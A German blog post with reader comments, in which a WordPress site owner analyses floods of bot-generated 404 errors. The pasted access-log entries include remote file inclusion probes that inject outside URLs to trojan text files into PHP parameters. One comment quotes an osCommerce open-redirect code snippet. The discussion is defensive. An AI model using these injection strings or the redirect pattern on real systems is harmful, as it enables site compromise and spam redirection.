In den letzten Tagen ist mir aufgefallen, dass vermehrt viele seltsame 404 Seiten auf meinen Wordpress Systemen produziert werden. Teilweise laufen an einem Tag 100 bis 200 404 Fehlerseiten auf, die aus den verschiedensten Quellen produziert werden, die so rein gar nichts mit fehlerhafter Verlinkung, Vertippern oder ähnlichem zu tun haben. Da stellt sich mir die Frage, was der Grund dafür ist, wie so etwas zusammen kommt? Könnte das z.B. ein Hacking oder Spam Angriff sein, ist ein Virus im Umlauf oder was zum Henker ist das?
Um diesen seltsamen 404 Seiten auf den Grund zu gehen, reicht mir mein statistikeigenes 404 Reporting nicht so ganz aus. Damit ich aber auch nicht immer die Access Logs von oben bis unten durchwühlen muss, habe ich mich für zwei weitere Lösungen entschieden.
Zum einen habe ich das Plugin JH 404 Logger installiert, das mir in einem Widget im Dashboard die neuesten 404 Seiten auflistet.
Weiter habe ich bei André einen interessanten Artikel gefunden: 404 – Error Reporting in Wordpress, und mir die eMail Lösung daraus auf meinem Blog vorübergehend installiert. So erhalte ich vorübergehend bei jedem 404 Seitenaufruf eine eMail und kann die entsprechenden Daten eingehender unter die Lupe nehmen. Dass hier ein paar Tage lang ein paar hundert eMails eintrudeln habe ich bei dieser Lösung erst einmal in Kauf genommen.
Meine Blogeigene 404 Lösung, die Seiten nicht entsprechend anzuzeigen, sondern ganz einfach nur die 404 Seiten per 301 auf die Startseite weiterzuleiten, bleibt dabei erhalten. In diesem Fall, wo nun gerade so viele 404 Seiten von außen generiert werden, ist diese Lösung auch eindeutig zu bevorzugen. Diese 404 Seiten werden nicht von Menschen produziert, sondern automatisiert von Bots und was der Bot am Ende zu sehen bekommen, ist sowieso total Banane, denn er hat ja gar keine Augen und will ja auch gar nicht wirklich was produktives von mir, sondern ich vermute eher das Gegenteil.
Nun möchte ich Euch noch den Ursprung der ein oder anderen 404 Seitengenerierung dieser Bots zeigen. Vielleicht hat von Euch jemand eine Ahnung was das sein könnte?
So wurden zum Beispiel von einem Bot namens betaBot innerhalb von 24 Stunden ca. 200 404 Seiten generiert, die immer eine bestehende URL hinter meine Domain URL kleben, wie z.B.:
User IP: 62.178.217.28
Fehler Seite: meineurl/http:/www.enzymologie.de/Men-Health-Best-Fett/1review/3499620510.html
Referer:
User Agent: betaBot
Ein weiteres Beispiel des betaBots:
User IP: 62.178.217.28
Fehler Seite: meineurl/http:/www.plakative-werbung.de/kontakt.htm/datenubertragung.htm
Referer:
User Agent: betaBot
An diesen beiden Beispielen sieht man sehr deutlich, dass hinter meine Domain URL eine weitere URL geklebt wird und dass es keinen Referrer gibt, also der Ursprung nicht eine falsch verlinkte Seite ist, sondern der User Agent, dieser betaBot, selbst. Auffallend an diesen paar hundert 404 Seiten war auch, dass die User IP immer die gleiche ist, die URL die hinter meine Domain URL geklebt wird, aber immer eine andere. Teilweise existieren diese dran geklebten URLs im Netz, teilweise nicht. Es sieht auf den ersten Blick so aus, als würde dieser betaBot mich für einen Proxy Server halten.
Weitere seltsame Beispiele anderer Bots:
User IP: 217.169.210.130
Fehler Seite: meineurl/2009/02/blog-seo-tips/xhtml-code-und-css-w3c-konform.html//images/errors.php?error=http://home.covenantberks.org/language/chi.txt??
Referer:
User Agent: libwww-perl/5.76
oder:
User IP: 62.182.62.35
Fehler Seite: meineurl/2009/02/blog-seo-tips/xhtml-code-und-css-w3c-konform.html//images/errors.php?error=http://niana.org//tmp/id.txt??
Referer:
User Agent: libwww-perl/5.805
oder:
User IP: 83.133.121.221
Fehler Seite: meineurl/2009/06/blog-seo-tips/double-cont...co-framebuster-hilft.html%20%20///////?_SERVER[DOCUMENT_ROOT]=http://cafe5.fileave.com/id1.txt?
Referer:
User Agent: Mozilla/5.0
Auch das hier ist interessant, denn Akismet war noch nie bei mir installiert:
User IP: 212.249.57.201
Fehler Seite: meineurl/2009/02///wp-content/plugins/akismet/akismet.php?act=http://impeel.com/impeel/web/css/v2-id.txt?
Referer:
User Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)
Bezeichnend an diesen ganzen 404 Seiten: Sie treten in Scharen auf, werden mehrere Minuten lang 10 bis 20 mal ausgeführt, immer wieder mit anderen URLs hinten dran, dann ist für ein paar Stunden Ruhe und dann geht der ganze Spuk wieder von vorne los. Nicht nur dieser mein Blog ist betroffen, sondern alle meine Domains, auf denen Wordpress läuft.
Was zum Henker ist das? Als Spam würde ich das definitiv bezeichnen. Könnte das ein Virus oder ein Hacking Angriff sein? Was für Auswirkungen hat das auf die entsprechenden Domains? Gibt es vielleicht einen Zusammenhang mit den fehlenden Seiten im Google Index? Ich verstehe ehrlich gesagt nur noch Bahnhof.
Ich würde mich auch wetten trauen, dass nicht ich als einzige davon betroffen bin. Problem dabei ist nur, dass kaum einer seine 404 Seiten eingehend prüft und es deswegen nicht bemerkt. Wie siehts bei Euch aus?
Aus Sicherheitsgründen musste ich in den Codebeispielen bei den Fehlerseiten http://www.crazytoast.de mit meineurl ersetzen, da sonst bei jedem Seitenaufruf Fehlerseiten generiert werden!
Hallo Tanja,
du wirst lachen, dass hat mich in diesen Tagen auch stutzig gemacht. Von der Zugriffsanzahl her ist es bei mir geringer, aber bei mir wird versucht, die folgende URL abzufragen:
/images-global/zoom/spacer.gif
Und das ca. 1000 mal die letzten paar Tage, aber immer mit einem anderen Bild?
Komisch?
Gruß
Matthias
@Matthias: Ja, wirklich sehr komisch! Hast Du schon mal die IP geprüft von dem, der das ständig abfragt? IP, Referrer und User Agent wären ziemlich hilfrich.
Ist das z.B. immer die gleiche IP, dann kann man in der htaccess diese mit deny aussperren. Ist es immer der gleiche Bot, könnte man diesen über die robots.txt mit disallow versuchen auszusperren (das hilft nur leider meistens nix, da böse bots das auch gerne ignorieren). Der Referrer wäre natürlich auch wichtig, denn da zeigt sich, ob es vielleicht irgendwo falsche Verlinkungen gibt…
Ich hoffe es meldet sich hier jemand, der mit diesem ganzen Zeugs mehr anfangen kann als wir und uns vielleicht sagen kann, was das ist, wie das zustande kommt und ob man das auch irgendwie wieder los wird…
Ich habe solche Bots auch auf meinen Domänen und sie versuchen das gleiche Spiel. Ergänzt noch um den Versuch, die Seiten mit seltsamen anderen Parametern aufzurufen.
Meiner Meinung nach haben diese Bots zwei verschiedene Ziele:
a) Die Abfragen der Art “error=…” und dann eine schöne fremde Url suchen nach einer Möglichkeit, einen Redirect auf eine andere Seite zu provozieren. In der Shop-Software ist beispielsweise eine redirect.php enthalten, die mit passendem Parameter auf eine andere Seite weiterleitet. Das war mal gedacht für die Linkgeizer, da die dann aus der Domäne nicht verlinken, sondern weiterleiten konnten. Tja, wer diese redirect noch drauf hat, ist ein ideales Opfer für Spam-Versender. Das geht dann so: Schmutzigen Text mit Links erzeugen, darin eine seriöse Domäne als Link nehmen und dann weit rechts das eigentliche Ziel über ein Redirect ansteuern. Nun hat natürlich diese redirect.php heute kaum noch jemand drauf, also muss man etwas tiefer schürfen. Wer also mit einem Parameter error= zu einer anderen Seite weiterleitet, ist als Opfer genauso gut geeignet. Ich bin sicher, es gibt irgendein Standard-System, dass diese Eigenschaft hat. Wordpress ist es allerdings nicht.
b) Weitere Stichpunkte sind Cross-Side-Scriptiing und SQL-Injection. Für uns ist SQL-Injection am gefährlichsten, da der Angreifer Kontrolle über die Domain erlangen könnte. Hierbei wird versucht, einen Parameter zu übergeben, der vom System ungeprüft in eine SQL-Abfrage eingebaut wird. Das sind dann allerdings andere Aufrufe als die oben stehenden. Finde ich bei uns aber auch gelegentlich.
Fazit: Meiner Meinung nach besteht bei den obigen Aufrufen für den Blog keine Gefahr. Der Bot sucht einfach nur so lange, bis er eine Domäne findet, die sich für die Zwecke des Spam-Versandes eignet. Vermutlich nimmt dieser Spuk auch kein Ende, da es wohl nicht ein Bot ist, sondern eine Software, die von vielen Spammern eingesetzt wird. Und jeder kleine Spam-Wichtel, der etwas auf sich hält, sucht dann wohl mit seiner Software nach neuen Opfern. Ich würde die Mailbenachrichtigung rausnehmen. Außer Datentransfervolumen erzeugt dieser Bot keinen Schaden.
Im Standard osCommerce ist beispielsweise eine redirect.php mit folgenden Text (zumindest damals gewesen):
case ‘url’:
if (isset($HTTP_GET_VARS['goto']) && tep_not_null($HTTP_GET_VARS['goto'])) {
tep_redirect(‘http://’ . $HTTP_GET_VARS['goto']);
}
break;
Damit kann dann jeder Spamversender den Link verschleiern. Nach Code in dieser Art suchen die Bots.
Das hat nichts mit Hacking zu tun, sondern ist einfach nur Spam. Bei manschen Statistik-Tools steht nach einem Aufruf wie zum Beispiel “meineurl/http:/www.enzymologie.de/Men-Health-Best-Fett/1review/3499620510.html” die Seite “http:/www.enzymologie.de/Men-Health-Best-Fett/1review/3499620510.html” als Referer oder sonstwas in der Statistik.
Die Spammer benutzen dies als Werbung, um so einige Leute auf die beworbene Seite http:/www.enzymologie.de/Men-Health-Best-Fett/1review/3499620510.html zu ziehen. Ganz billige Werbung, mehr nicht!
ui, da hab ich wohl etwas früh auf “Kommentar abschicken” geklickt:
Damit wollen die Botbetreiber wohl, dass einige Statistik-geile Webmaster die Url aufrufen.
Übrigens habe ich oben “manche” schreiben wollen, “mansche” kam aber raus
@Thorsten: Den größten Verursacher habe ich vor ein paar Tagen mit deny über die htaccess ausgesperrt. Seitdem ist zumindest von ihm Ruhe (er kam 100 bis 300 mal pro Tag) und irgendwie ist mir das eine Runde zu nervig.
Die eMails selbst finde ich momentan nicht sonderlich nervig. Ist vor allem auch interessant, was so alles passiert
@alte Kiehvoz: Du meinst Referrrer-Spam… Hmm.. könnte gut sein
Nun ja Einbindungsversuche von id.txt oder ähnlichem hat für mich nichts mehr mit Referer Spam zu tun. Das wird schon was ausgetestet.
Die Mails mögen jetzt noch nicht nervig sein, aber da Bots die Ursache sind, können aus 300 Zugriffen auch 30.000 werden. Und so viel ich weiß sind Mailserver deutlich schneller überlastet als der Webserver. Hier droht also Ärger mit dem Provider.
Aus diesem Grund würde ich grundsätzlich empfehlen, diese Informationen in eine Datei zu schreiben, statt sie per Mail zu versenden. Das ist einfach für die betroffene Seite etwas sicherer.
@Markus: das mit id.txt ist ein Trojaner, da hat also jemand versucht mir auf Akismet einen Trojaner einzubinden. Ich bin begeistert
Nur gut, dass ich mit Akismet von Anfang an auf Kriegsfuß stehe und das Zeugs hier nicht am Laufen habe.
Sollte das nicht vielleicht eine Warnunf für alle sein, die Akismet am Laufen haben?
@Thorsten: Die Deaktivierung der eMails dauert nur ein paar Sekunden (php Befehl löschen oder deaktivieren). Ist also nicht der Rede wert
Hmmm nun hab ich mal ganz ängstlich in meine Logfiles geschaut und zum Glück keine Unmengen an 404er gefunden, dafür aber etwas anderes…
Hat also erstmal nix mit der Indexierungsgeschichte zu tun, da gibts bei mir leider auch nichts neues zu vermelden :-/
Das “etwas Andere” ist eine Fehlermeldung, die mir leider erstmal garnichts sagt. Das werde ich mir morgen oder im Laufe der Woche aber mal anlesen, jetzt ist erstmal Zeit fürs Bett.
Sollte die Lösung zufällig die Entfernung der entsprechenden Zeilen sein, dann ist ja einfach
Ich lass einfach mal die Zeilen hier liegen, vielleicht stolpert ja nen Profi drüber *lieb-guck*
[error] PHP Notice: XML error: Invalid document end at line 3, column 1 in meineURL/wp-includes/class-simplepie.php on line 1791
[error] PHP Notice: A feed could not be found at (http://channel.wordpress-deutschland.org/rss-dashboard.php in meineUR/wp-includes/class-simplepie.php) on line 1680
Da bin ich jetzt ehrlich gesagt etwas beruhigt, weil das bei mir mit den 404ern auch massiv zugenommen hatte die letzten Tage über; bin mal gespannt, ob wir heraus bekommen, woran das liegt
@mr.gene: Mir sagt die Fehlermeldung leidr gar nichts, aber vielleicht hat hier ja sonst jemand eine Ahnung?
@gentle.rocker: Ich tippe mal auf 404 Spam sowie ein paar Hackingversuchen, da offiziell bekannt ist, dass ältere WP Versionen als 2.8.4 eine Sicherheitslücke haben, siehe hier:
(http://blog.wordpress-deutschland.org/2009/09/05/aeltere-wordpress-versionen-ziel-von-angriffen.html)
Ich gebe z.B. in meinem Quellcode weder aus dass ich Wordpress nutze, noch welche Version davon. Und das eben auch aus solchen Gründen
Interessant, welche Gedanken Spammer so in sich tragen. Glauben die wirklich, dass ein Webmaster, der die Error.Log seines Webservers durchschaut, tatsächlich jede URL im Browser nachguggt, die dort gefunden wird?
Ich persönlich habe ehrlich gesagt noch NIE geschaut, wo ein 404er-Error herkommt. Der Referer war mir genauso Schnuppe wie etwaige URLs, die bei irgendwelchen Hacking-Versuchen als Weiterleitungsziel angegeben waren. Sowas nimmt man zur Kenntnis und prüft den Hack mit einer “sauberen” URL, von der man weiß, dass nix passieren kann, wenn sie aufgerufen wird…
Aber egal, gibt ja alles in dieser Welt, also warum nicht auch Webmaster, die auf solche Scherze reinfallen.
Ohne mich zur sehr aus den Fenster lehnen zu wollen würde ich sagen das, das nur Spam ist. Ist sicherlich ärgerlich aber es macht kein Schaden. Übrigens solange du nicht mindestens 5000 solche Aufrufe am Tag bekommst, macht es auch dein Server nichts aus
@Peter:
Ich würde mich sogar noch weiter aus dem Fenster legen und sagen, 5000 pro Stunde oder pro Minute sollten dem Server auch recht wenig ausmachen
Wenn doch, dann ist irgendwo was falsch.
@Kim
Also bei 5000 Anfragen pro Minute könnte ich mir durchaus vorstellen, dass Leistungseinbrüche am Server zu spüren sind! Er muss ja nicht gleich komplett abrauchen, dass nichts mehr geht, aber bei über 80 Anfragen pro Sekunde von nur einer Quelle, wird jeder Server früher oder später lahmen…
Es sei denn du hast natürlich für dein kleines Blog-Privat-Vergnügen (nicht negativ gemeint) eine unter normalen verhältnissen total überdimensionierten Server!
@MeinProblem
Bin leider noch zu nichts gekommen…hab mal wieder wenig Zeit und nur nen Schmalbandanschluss – 56k lebt :-/
@mr.gene:
Nunja, ich hab’s jetzt mal noch nicht ausprobiert, aber 5000 Anfragen pro Minute ergibt knapp 87 Anfragen pro Sekunde… Ok, das könnte, wenn erst das PHP anlaufen muss um die Datenbank zu befragen, ob’s denn die Seite auch gibt, in der Tat ein wenig zu nem Engpass führen *zwinker*, hast mich da überzeugt… aber 5000 pro Stunde sollten wirklich kein Problem darstellen, denn das sind gerade mal knapp 1,4 Anfragen pro Sekunde. Die sollte jedes noch so grottig konfigurierte Webserver-Teil hinbekommen.
Andersherum: Ich kenne Webserver, über die werden Kursanmeldungen abewickelt, die kommen auf >100 Anfragen pro Sekunde und hier geht auch “nur” die Hälfte der Anfragen in die Hose… ok, das ist wiederum nicht vergleichbar mit einem System bei nem Webhoster… auch wenns vergleichbare Hardware ist – dieses System ist “dediziert” nur für diesen einen “Kunden” da, beim Webhoster haste auf solch einem System mal 100 bis 200 Kunden…
Aber 404er-Fehler sollten erstmal niemanden beunruhigen… kritischer sind andere Status-Werte, nämlich welche, die trotz schwachsinniger Anfrage eine erfolgreiche Auslieferung von Daten repräsentieren.
@Kim: Nie seine 404 Seiten anzukucken halte ich persönlich für etwas zu sorglos. Hin und wieder sollte man da schon reinschauen und zumindest dafür sorgen, dass die falschen Verlinkungen, die immer mal wieder auftauchen, zum richtigen Ziel führen
Ganz möchte ich Dir bei Deinem Statement, dass 404 Fehlermeldungen niemanden beunruhigen sollten, nicht so ganz zustimmen. Sicherlich wäre es weitaus schlimmer wenn das ein oder andere davon einen 200er erzeugt (dann wäre das Hacking oder die Virus Einschleußung wohl passiert), aber dennoch finde ich es schon wichtig zu wissen, was so abgeht. Da muss man aber deswegen noch lange keine Doktorarbeit draus machen
@Peter: Nur Spam ist das nicht. Ich habe mir mal eine der netten Textdateien angekuckt und schwups sprang gleich mal mein Virenscanner an.
@Crazy Girl:
Auch wenn es dir jetzt wieder ein wenig Bauchweh bereiten wird, weil du die Webmastertools von Google nicht magst *zwinker*: Mir persönlich reicht es, wenn ich die dort verzeichneten 404er-Fehler “behandele” und deren Ursachen aus dem Weg zu räumen versuche (wenn ich es selbst verursacht haben sollte, ist sowas ja wesentlich einfacher, als wenns “extern” passiert.
Bei anderen 404ern interessiert mich primär nur, um welche Attacke es sich handelt und ob mein Server entsprechend auf dem Patchstand ist, um dieser Attacke stand zu halten.
Was mein Blog angeht, habe ich hier leider keinen Einfluss auf den Server selbst, dafür ist der Hoster da – der jedoch seinen Job bisher immer sehr vorbildlich gemacht hat.
“Dientlich” sieht die Sache da anders aus, jedoch lösen wir dort solche Probleme einige Ebenen tiefer: Da wird die Firewall entsprechend angewiesen, diese oder jene Quelle auszusperren und das wars dann im Groben schon auch für die Server, die hinten dran sitzten. Klar ist auch hier die Bemühung, die Server auf dem aktuellen Stand zu halten, aber als erste recht wirksame Maßnahme hält man sich den unerwünschten Traffic auf diese Art erst mal vom Hals.
@Kim: Da ich selbst die WMT nutze, kann ich Deinen Einwand leider nicht nachvollziehen!
@Crazy Girl: Ich sagte ja nicht, dass du sie nicht nutzt, sondern dass du sie nicht magst
Ich kann mich an einen Kommentar von dir erinnern (kann ihn nur auf die Schnelle in deinem Blog nicht mehr finden), in dem du sagtest, dass du in der Vergangenheit schlechte Erfahrungen mit den WMT gemacht hättest, weil es wegen Vorfällen bei einer deiner Domains zur Abstrafung aller Domains, die du über die WMT verwaltet hattest, kam…
Darauf spielte ich ein wenig spitz an
Ich habe nicht gesagt, dass du sie nicht nutzen würdest.
Hey CrasyGirl,
ich habe damals auch meine htaccess mit der 404 Funnktion auf die Startseite verwiesen und mein Traffic ist explodiert. Ich hatte über 50 GB Traffic in einem Monat der nur durch Bot´s und Spieder entstanden ist, weil immer wieder ein “Loop” gefahren wurde. Dementsprechend habe ich das umgehend geändert und mein Traffic hat sich beruhigt.
D.h. lieber lasse ich die leere 404 anzeigen als das es immer zur Startseite wechslet.
@Chris: Mit meiner Wordpress 404 per 301 auf die Startseite umleiten Lösung passieren keine solchen Loops.
Bei der leeren 404 musst Du nur aufpassen, dass die auch den richtigen Statuscode zurückgibt. Meiner Erfahrung nach gab es da immer Probleme (Fehler in den Google Webmaster Tools – 404 Seite gibt Status 200 zurück, egal welchen Status man mitgeschickt hat) und deswegen habe ich davon Abstand genommen eigene 404 Seiten zu nutzen.